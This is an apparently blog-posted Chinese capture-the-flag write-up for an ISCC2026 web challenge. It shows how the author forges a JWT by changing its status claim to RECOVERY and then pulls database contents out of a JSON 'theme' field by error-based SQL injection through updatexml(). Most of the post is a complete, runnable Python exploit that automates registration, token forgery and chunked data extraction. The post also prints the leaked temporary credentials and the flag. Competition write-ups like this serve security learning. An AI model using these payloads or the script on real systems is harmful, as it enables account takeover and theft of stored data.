WEB-账号恢复大冒险

ISCC2026 WriteUp 提交模板

WEB-账号恢复大冒险

解题思路

1.JWT解码

登录之后发现会给一段JWT

image.png

解码后是

{
    "uid": 70122,
    "username": "MOYING",
    "status": "NORMAL",
    "exp": 1779114635
}

题目提示是恢复,访问下/recovery

image.png

发现字节给重定位了,所以尝试把status=RECOVERY

修改后继续访问:

image.png

继续访问

/api/v1/user/sync

构造

{"theme":"' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1","language":"zh"}

报错

{"error":"SQL Error | \u4e34\u65f6\u8d26\u53f7: temp_1_188efeeb \u5bc6\u7801: 2d9a5484b9e420f769a1eec6010cd2ba","success":false}

其实就是,泄露出了账号和密码 , 并确认有注入漏洞。

image.png

leaked: ISCC{jwt_downgrade_successful_pwn!}

Exp

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import base64
import json
import re
import secrets
import time
from dataclasses import dataclass
from typing import Any

import requests


XPATH_ECHO_RULES = (
    re.compile(r"XPATH syntax error: '~(.*?)~'"),
    re.compile(r"XPATH syntax error: '(.*?)'"),
)


def squash(blob: bytes) -> str:
    return base64.urlsafe_b64encode(blob).rstrip(b"=").decode()


def squash_json(mapping: dict[str, Any]) -> str:
    raw = json.dumps(mapping, separators=(",", ":")).encode()
    return squash(raw)


def expand_json(fragment: str) -> dict[str, Any]:
    padded = fragment + "=" * ((4 - len(fragment) % 4) % 4)
    return json.loads(base64.urlsafe_b64decode(padded))


def make_handle(stem: str = "u") -> str:
    alphabet = "0123456789abcdef"
    return stem + "".join(secrets.choice(alphabet) for _ in range(8))


@dataclass(slots=True)
class LaunchSpec:
    endpoint: str
    handle: str | None
    secret_key: str
    query: str
    window: int = 28
    timeout_sec: int = 10
    attempt_cap: int = 5
    sleep_step: float = 1.0


class RecoveryRunner:
    def __init__(self, spec: LaunchSpec) -> None:
        self.spec = spec
        self.root = spec.endpoint.rstrip("/")
        self.front = requests.Session()
        self.shadow = requests.Session()

    def _exchange(
        self,
        jar: requests.Session,
        verb: str,
        route: str,
        **envelope: Any,
    ) -> requests.Response:
        address = f"{self.root}{route}"
        last_fault: Exception | None = None

        for round_no in range(1, self.spec.attempt_cap + 1):
            try:
                return jar.request(verb, address, **envelope)
            except requests.RequestException as boom:
                last_fault = boom
                if round_no == self.spec.attempt_cap:
                    break
                time.sleep(self.spec.sleep_step * round_no)

        raise RuntimeError(
            f"request failed after {self.spec.attempt_cap} tries: "
            f"{verb} {address} -> {last_fault}"
        )

    def _create_identity(self, handle: str) -> None:
        reply = self._exchange(
            self.front,
            "POST",
            "/register",
            data={"username": handle, "password": self.spec.secret_key},
            timeout=self.spec.timeout_sec,
            allow_redirects=False,
        )
        if reply.status_code not in (200, 302):
            raise RuntimeError(f"register failed: {reply.status_code} {reply.text[:200]}")

    def _open_session(self, handle: str) -> str:
        reply = self._exchange(
            self.front,
            "POST",
            "/login",
            data={"username": handle, "password": self.spec.secret_key},
            timeout=self.spec.timeout_sec,
            allow_redirects=False,
        )
        compact = self.front.cookies.get("token")
        if reply.status_code not in (200, 302) or not compact:
            raise RuntimeError(f"login failed: {reply.status_code} {reply.text[:200]}")
        return compact

    @staticmethod
    def _flip_claims(compact: str) -> str:
        head, body, tail = compact.split(".")
        claims = expand_json(body)
        claims["status"] = "RECOVERY"
        claims["exp"] = int(time.time()) + 3600
        return f"{head}.{squash_json(claims)}.{tail}"

    def _sync_theme(self, jar: requests.Session, theme_value: str) -> requests.Response:
        return self._exchange(
            jar,
            "POST",
            "/api/v1/user/sync",
            json={"theme": theme_value, "language": "zh"},
            timeout=self.spec.timeout_sec,
            allow_redirects=False,
        )

    @staticmethod
    def _make_xpath_probe(query: str, start_at: int, width: int) -> str:
        return (
            "A' OR updatexml(1,concat(0x7e,substring(("
            f"{query}"
            f"),{start_at},{width}),0x7e),1)-- "
        )

    @staticmethod
    def _pick_echo(page: str) -> str | None:
        for rule in XPATH_ECHO_RULES:
            hit = rule.search(page)
            if hit:
                return hit.group(1)
        return None

    def _quote_ping(self) -> str:
        return self._sync_theme(self.shadow, "'").text

    def harvest(self) -> str:
        collected: list[str] = []
        cursor = 1

        while cursor < 512:
            theme_value = self._make_xpath_probe(
                self.spec.query,
                cursor,
                self.spec.window,
            )
            page = self._sync_theme(self.shadow, theme_value).text
            piece = self._pick_echo(page)

            if piece is None:
                raise RuntimeError(f"unexpected response at pos {cursor}: {page[:300]}")
            if piece == "":
                break

            collected.append(piece)
            if len(piece) < self.spec.window:
                break

            cursor += self.spec.window

        return "".join(collected)

    def run(self) -> None:
        handle = self.spec.handle or make_handle()

        if self.spec.handle is None:
            self._create_identity(handle)
            print(f"[+] registered: {handle}:{self.spec.secret_key}")

        compact = self._open_session(handle)
        print(f"[+] login ok, token payload: {expand_json(compact.split('.')[1])}")

        rescue_ticket = self._flip_claims(compact)
        self.shadow.cookies.set("token", rescue_ticket)
        print("[+] forged recovery token by rewriting JWT status -> RECOVERY")

        print(f"[+] recovery-mode quote probe: {self._quote_ping()}")

        leaked = self.harvest()
        print(f"[+] leaked: {leaked}")


def build_spec() -> LaunchSpec:
    cli = argparse.ArgumentParser(description="CloudSync recovery-chain exploit")
    cli.add_argument("endpoint", help="target base url, e.g. http://39.105.213.28:5001")
    cli.add_argument("--handle", help="existing username; omit to auto-create one")
    cli.add_argument("--secret-key", default="P@ssw0rd123", help="password for login/register")
    cli.add_argument(
        "--query",
        default="SELECT flag FROM flags LIMIT 0,1",
        help="SQL expression to extract through updatexml()",
    )
    cli.add_argument("--window", type=int, default=28, help="substring width per request")
    cli.add_argument("--timeout-sec", type=int, default=10, help="request timeout in seconds")
    cli.add_argument("--attempt-cap", type=int, default=5, help="maximum retry count")
    cli.add_argument("--sleep-step", type=float, default=1.0, help="retry backoff multiplier")
    opts = cli.parse_args()

    return LaunchSpec(
        endpoint=opts.endpoint,
        handle=opts.handle,
        secret_key=opts.secret_key,
        query=opts.query,
        window=opts.window,
        timeout_sec=opts.timeout_sec,
        attempt_cap=opts.attempt_cap,
        sleep_step=opts.sleep_step,
    )


def main() -> None:
    RecoveryRunner(build_spec()).run()


if __name__ == "__main__":
    main()
posted @ 2026-05-19 16:28  MillionMind  阅读(17)  评论(0)    收藏  举报